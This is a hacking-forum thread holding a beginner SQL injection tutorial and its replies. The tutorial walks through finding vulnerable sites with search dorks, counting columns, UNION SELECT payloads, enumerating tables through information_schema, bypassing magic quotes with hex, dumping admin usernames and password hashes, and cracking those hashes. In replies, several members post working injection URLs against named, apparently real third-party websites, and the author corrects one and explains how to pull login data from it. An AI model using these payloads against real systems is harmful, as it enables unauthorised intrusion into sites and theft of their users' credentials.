

Forum:[Hack Forums](#)

Thread: [\[Tutorial\] Basic SQL Injection](#)

Inso - June 29, 2011, 1:30 pm

This is my first tutorial. Hope it is in the right section!

This tutorial will be split up into 9 sections.

- 1) So first of all: What is an SQL Injection?
- 2) How do I know if the site is vulnerable?
- 3) How many columns?
- 4) Union Select Query
- 5) What SQL Version does my site use?
- 6) Finding table names.
- 7) Finding the column names.
- 8) Final Step: Getting our information.
- 9) Finishing touches.

- 1) So first of all: What is an SQL Injection?

Quote:SQL injection is a code injection technique that exploits a security vulnerability occurring in the database layer of an application (like queries). The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.

(Taken from the first paragraph on Wikipedia)

http://en.wikipedia.org/wiki/SQL_injection

Now that the definition is out of the way, we can learn how to do it.

- 2) How do I know if the site is vulnerable?

Well, the most basic way to do it, and the easiest, would be to use an SQLi Scanner, such as this:

Quote:<http://frontrunners.co.cc/Scan/scanner/>

To use it, type in either a dork (will be explained next) or a simple search like "id=5" (without quotes). This will search for sites ending with id=5. On the scanner, you will see a large number of links, but the ones to click will be the bold hyperlinks, with @ id=5 after it (if you searched for id=5).

Credits to this scanner goes to [Baker](#).

Alternatively, you can search manually using something called a "Dork". So what is a dork?

A dork is a simple search used on google (or other search engines) that brings up sites you are specifically looking for. Examples:

Quote:inurl:admin.asp

inurl:sql.php?id=

inurl:source.php?id=

inurl:view.php?id=

inurl:pages.php?id=

Using the manual method will take a lot of trial and error.

Once you have your site, to check if it is vulnerable, simply add an apostrophe (') to the end of the url. Example:

Quote:<http://www.examplesite.com/category.php?id=5'>

If the site is vulnerable, you will see the following error or something similar somewhere on the page.

Quote:Error executing query: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\\\\' ORDER BY date_added DESC' at line 1

If you get this, the site should be vulnerable. So far so good!

3) How many columns?

Our next step is to find the number of columns in the database. To do this we use the ORDER BY query. We get our normal site URL, and add ORDER BY 1-- to the end of it. Example:

Quote:<http://www.examplesite.com/category.php?id=5> order by 1--

The page should then show up as normal. Now we have to increase this number until we get an error.

Quote:<http://www.examplesite.com/category.php?id=5> order by 1-- No error

<http://www.examplesite.com/category.php?id=5> order by 2-- No error

<http://www.examplesite.com/category.php?id=5> order by 3-- Error

We got an error on 3, so that means our number of columns is 2 (The max column number before getting an error).

4) Union Select Query

We use the union select statement to combine the results of multiple queries in our SQLi. To test if it works, go to our sites normal URL, and write "union select 1,2--" (without quotes) after it. In our example, we use 1,2--, but on other sites, you will usually have a different number of columns. Example: On a site with 5 columns it would be "union select 1,2,3,4,5--".

Quote:<http://www.examplesite.com/category.php?id=-5> union select 1,2--

Notice that there is a - in front of the 5. This is done to remove all text from the webpage, so we can see the results of our query on the page (Explanation. There isn't a -5 page anywhere on the site, so it uses the usual site template, but without the images and text of that specific page).

If union select worked, we should have no SQL errors. We also should now see a few numbers on the page that normally aren't there. For our example, we will say that both 1 and 2 showed up on our page.

5) What SQL Version does my site use?

This will be one of the easier things to do. After we have tested union (and it works!) we simply input "version()" in to one of the numbers in our URL, but these numbers have to be visible on the page, otherwise we won't be able to see the returned query result. Example:

Quote:<http://www.examplesite.com/category.php?id=-5> union select 1,version()--

This will replace the number 2 on our page with the SQL version. For our example we will use version 5 and above.

6) Finding table names.

Now we are going to get into the tables. This is where all the information you are looking for will be kept, but first, we need to find the table names. To do so, replace version() with group_concat(table_name). Then after your last column number, add from information_schema.tables--. Example:

Quote:<http://www.examplesite.com/category.php?id=-5> union select 1,group_concat(table_name) from information_schema.tables--

On the page you should now have a list of all the table names in the database.

7) Finding the column names.

To find the column names we do the same thing, but replace tables with columns, but we include which table to get the column names from. If we found a table called admin. Example:

Quote:<http://www.examplesite.com/category.php?id=-5> union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'--

Q: I get an error when I do this, or no column names are shown!

A: Magic quotes is on. To bypass this, you must convert the table name to Hex.

You can do this by going to <http://www.swingnote.com/tools/texttohex.php> . Our query would now look like this:

Quote:<http://www.examplesite.com/category.php?id=-5> union select 1,group_concat(column_name) from information_schema.columns where table_name=0x61646d696e --

Note: the 0x tells the computer the following string is in hex.

Lets say the column names were username and password.

8) Final Step: Getting our information.

To finish it off, we want to find out what the columns contain, otherwise, this has all been for nothing! To do so we get our normal site URL and add "union select 1,concat(username,0x3a,password) from admin--".

This will show the username and password from the table admin! Usually your password will be a hash, so you can use an online MD5 Cracker such as [MD5Crack](#) or use a program such as [Cain and Abel](#) to decrypt the password hash.

9) Finishing touches.

I would like to thank [Baker](#) for the SQLi Scanner, as it makes the job so much easier and less time consuming when looking for vulnerable sites.

This tutorial is for education purposes only. I am not responsible for any activities (legal/illegal) that may occur after the reading of this page.

Thanks for reading, feedback and comments appreciated.

Any more questions? PM me!

Anonymous.7654 - June 29, 2011, 1:31 pm

Thank you for the Tutorial.

Inso - June 29, 2011, 1:35 pm

No problem and thanks to you to.

Any comments on it? Thinks I could of improved, etc?

PedroDJ - June 29, 2011, 1:37 pm

Well writed: compliments :)

Inso - June 29, 2011, 1:38 pm

Thanks a lot! :) I just hope this tutorial covers the basics well enough for any other new people!

MaGiK - June 29, 2011, 1:40 pm

Thanks for the tutorial, I'm pretty sure this one will catch on. Great job ?

h@cp - June 29, 2011, 2:18 pm

very well written, lets hope its not stolen

Inso - June 29, 2011, 2:21 pm

Not stolen, you can search for some of the terms. Any bits used by anyone else are labelled :P E.g The wikipedia quote, and the scanner.

The rest is Basic SQLi in my own words, although I only learned it like a week ago. Since then, I have done 5 SQLi's.

This tutorial was wrote while walking through my KVSC.org injection :P

xninja plz - June 29, 2011, 3:19 pm

Nice Tutorial mate thanks

Bossmous - June 29, 2011, 3:44 pm

I need help with the order by part!

I got this far;

1. <http://trapca.org/pages.php?id=147>
2. <http://trapca.org/pages.php?id=147>'
3. <http://trapca.org/pages.php?id=147> order by 1--

Now i'm stuck, I dont understand what to do with the 'order by' thingies :L

Help please?

iolaka - June 29, 2011, 3:46 pm

Finally a tutorial I can actually read without getting bored and understand it.
Awesome, thanks!

Inso - June 30, 2011, 5:38 am

(Jun 29, 2011 03:44 PM)Bossmous Wrote: [\[CITE\]](#) I need help with the order by part!

I got this far;

1. <http://trapca.org/pages.php?id=147>
2. <http://trapca.org/pages.php?id=147>'
3. <http://trapca.org/pages.php?id=147> order by 1--

Now i'm stuck, I dont understand what to do with the 'order by' thingies :L

Help please?

If you add the ' and it brings up an error, then its vulnerable. So you go to the order by stage. Do order by 1--, then order by 2--, order by 3, etc and keep going up until you get an error. Example: Order by 6-- Gives an error, but order by 5-- doesn't, this means the number of columns is 5.

Ro RusheR oR - July 1, 2011, 1:26 am

nice tutorial. good work.

Cyber_Space_Warrior - July 1, 2011, 1:35 am

(Jun 29, 2011 03:44 PM)Bossmous Wrote: [\[CITE\]](#) I need help with the order by part!

I got this far;

1. <http://trapca.org/pages.php?id=147>
2. <http://trapca.org/pages.php?id=147>'
3. <http://trapca.org/pages.php?id=147> order by 1--

Now i'm stuck, I dont understand what to do with the 'order by' thingies :L

Help please?

<http://trapca.org/pages.php?id=-147%20union%20select%201,2,3,4,version%28%29,6,7,8,9,10,11--%20->

ignite2030 - July 1, 2011, 2:20 am

a good way to start, thank you.

Inso - July 31, 2011, 9:34 am

Possibly a late reply but I fixed your syntax:

Quote:<http://trapca.org/pages.php?id=-147> union select 1,2,3,4,version(),6,7,8,9,10,11--

You can now see the version is 5.1.37-1ubuntu5.5. You can then replace that "Version()" with group concat and the appropriate columns and end with the correct table name and you can get login info.

Good luck

Inso - August 10, 2011, 11:57 am

Noticed a typo, in section 8, concat needs to be changed to group_concat, apologies.

-Gohan- - August 10, 2011, 1:07 pm

You should fix the scanner link, it leads to a dead website.

Inso - August 10, 2011, 1:48 pm

I would but I don't have leet :/ The site once worked, but it was removed. Once I have money and upgrade I will edit this tutorial and make it look better to.

Twix215 - August 10, 2011, 2:42 pm

Awesome tutorial, although, it is quite hard to find a forum that is not SQL protected to test this on.. :p

I love how you go very much into detail, maybe add a few pictures, but other than that, amazing :)

My bad, forgot to ask a question.. Does this work on Google Chrome? Because that is what I am using, and sometimes when I add the apostrophe, it brings me to google's search engine.

Inso - August 10, 2011, 2:57 pm

I use chrome and it works. If it doesn't, try firefox. Otherwise it may just be a security feature of the site.

kobez - August 10, 2011, 4:08 pm

Good tut there mate :) very clear for all the beginners here.

-kobez

01871717 - August 10, 2011, 4:09 pm

Very Clear amazing tutorial, this will help the begginers alot!
keep up the HQ posts

Inso - August 11, 2011, 3:50 am

Thanks for the feedback everyone! (:
I hope to bring out some more tutorials soon.

Mr-BerTii - August 11, 2011, 4:15 am

Best Tutorial For Begginers wich i have seen .
Good Work Brother .

Inso - August 23, 2011, 6:31 am

Thanks a lot, always happy to help whoever I can.

kobez - August 23, 2011, 6:38 am

Its worth noting that group_concat() is limited to 1024 characters.
If members think there may be more databases/tables/columns in the site, they should use concat()
with limit 0,1.
If you want to add to the original thread :)

~kobez

Inso - August 23, 2011, 6:45 am

I didn't actually know that myself :P Thanks, I need to wait til I get either leet or uber though before I
can improve the thread :(

kobez - August 23, 2011, 6:47 am

It's all good man, just sharing some knowledge with the community ?

Inso - August 23, 2011, 6:50 am

You are a very helpful guy, I'd +Rep you if I could ^^

kobez - August 23, 2011, 6:53 am

(Aug 23, 2011 06:50 AM)jackeh Wrote: [\[CITE\]](#) You are a very helpful guy, I'd +Rep you if I could ^^
Thats what i'm here for ? its all good bro :P
ill talk to you in the other forums soon, got an op. ?

Inso - August 23, 2011, 6:55 am

;D Okay, I'm just finishing writing something (been spending 2 days on it so far), then I'll come and
see. :P

:-) - August 23, 2011, 12:58 pm

Great tutorial man! :)
Very usefull! =D

Inso - August 23, 2011, 1:00 pm

I will be releasing an updated one which is way more helpful sometime soon, keep on the lookout ;)

Mx. - August 23, 2011, 1:02 pm

Code <http://trapca.org/pages.php?id=147> order by 11--You go up till you hit a page that will miss

texts / and or give errors

try and put in 12, and you will see it wont display alot of errors / less text.

kill3r321 - August 25, 2011, 9:16 am

Thanks bro gud work nice sharing can you give me you'r yahoo id or any other contact Plz ???

Inso - August 25, 2011, 12:10 pm

Sorry but I only communicate via posts or PMs

Cowblack - August 25, 2011, 3:13 pm

Thanks for the tutorial. Pretty informative. I might try it out later this week.

D1sp0sab1e - August 25, 2011, 8:01 pm

why isnt this working??

http://www.beautycall.co.uk/gallery.php?id=-1%20union%20select%201,2,group_concat%28column_name%29%20from%20information_schema.columns%20where%20table_name=%27phpbb_moderator_cache%27--

BTW you have to refresh the page to get rid of the error, I do not know why...

Da_Devil - August 26, 2011, 6:51 pm

Super simple to understand tut, thanks a lot for teaching me all of that. <3

Blu3Dream - August 31, 2011, 2:08 pm

Hello, i am new here and i found some vulnerable site but i am stoked at "6) Finding table names."Its giving me a error "Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /home/yoquiero/public_html/games.php on line 15" when i try to find table names, and i have more one question for what u need a sql version ?Btw its says that is 4.1.22-standard.

And Thnx for the guide.

ryan2122 - August 31, 2011, 2:23 pm

you could add more detail to the bit about vulnerable and post some screenshots otherwise good :)

Inso - August 31, 2011, 2:23 pm

This tutorial applies to only version 5 and above. Yours is version 4, meaning you need to look up a tutorial on blind SQLi.

<https://hackforums.net/showthread.php?tid=1658310>

Here's the newest up to date tutorial. Typos are corrected, formatting is better. Probably more helpful for the beginner, make sure to check it out!

sharina - September 1, 2011, 11:48 am

what if the user use mysql or oracle or other type of DB?

sorry i'm just a newbie..

SQLInjectionisfun - September 1, 2011, 12:38 pm

can you list some xss dorks? I am finding it hard to find xss vulnerable websites. Seeing as though you noted some dorks down do you know any that are xss orientated I.E inurl:search.php?id=X or

something like that. Cheers.

I have to say version 4, IS NOT A BLIND A SQL, I REPEAT NOT A BLIND SQL. DON'T GO LOOKING FOR A TUTORIAL ON THAT JUST YET. THAT TYPE OF SQL INJECTION IS ADVANCED AND TEDIOUS the reason why there is an error is because information_schema.tables doesn't exist in version 4 meaning you have to guess the table names so if you put www.site.com/php?id=X union select 1,2,3,4 from admin and the website returns without an error then that table exists then you have to guess the columns by putting the group_concat(*your guess in here*) in the string number from the admins table. Do you understand now?

Inso - September 1, 2011, 12:58 pm

Blind SQL is guessing the table and column names as far as I remember? :P

Ups. - September 3, 2011, 3:24 pm

Very nice tutorial I will be reading all this win I get home today.

53CUR1TY - September 3, 2011, 7:50 pm

Great tutorial mate. I am trying to get a little bit better on website hacking rather than just using easy stuff like RATs, this really helped me a lot. Thanks! ?

Inso - September 4, 2011, 1:32 pm

Thanks for feedback. Btw, this tutorial may be more helpful. :P Same subject, but more highly detailed, be sure to check it out!

<https://hackforums.net/showthread.php?tid=1658310>

H For Hailey - September 7, 2011, 3:54 pm

Thanks for the Tutorial, Looks great hun.

Sincerely, Hailey

Zeub - September 7, 2011, 11:32 pm

Thank you very much for the Tutorial :)

Inso - September 8, 2011, 8:17 am

No problem, I'm glad to help if you need anything else ^^

5n4p - September 8, 2011, 8:53 am

Very basic, but good introduction for beginners.

Seen similar material re-vamped and re-posted quite a across the web.

Sadly you can't really teach personal creativity.

Prior knowledge with database query calls is probably recommended before even starting to utilize SQL injection methods.

Philips - September 8, 2011, 8:54 am

Thank you for the tutorial , appreciated.

Lex 66 - October 18, 2011, 10:32 am

Thank you for the Tutorial. Nice one by the way :)

Joshman644 - October 18, 2011, 12:19 pm

Onced i typed this Code <http://www.lcoastpress.com/journal.php?id=-6> union select 1,2,3,4,5,6,7,8,9-- It then says this "The used SELECT statements have a different number of

columns"

EasyGh0st - February 10, 2012, 2:16 pm

Perfect Tutorial! It's very detailed! :)

Inso - February 11, 2012, 1:17 am

Thanks (: You should check out the revised version, it's much better looking!

<https://hackforums.net/showthread.php?tid=1658310>

DsntExist - February 24, 2012, 1:07 pm

Gracias for this thread.

Cleared a few things up for me.

Dominikos - July 9, 2012, 5:57 am

ty very very much!!!! :)

After hours of trying with havij I did it alone with your guide!!! :)

chrisc016 - July 10, 2012, 9:31 pm

nice tut! Very helpful for what I am trying to do.

mavenkp - October 15, 2013, 12:15 pm

good tutorial.. covering basic sql injection technique... Thanks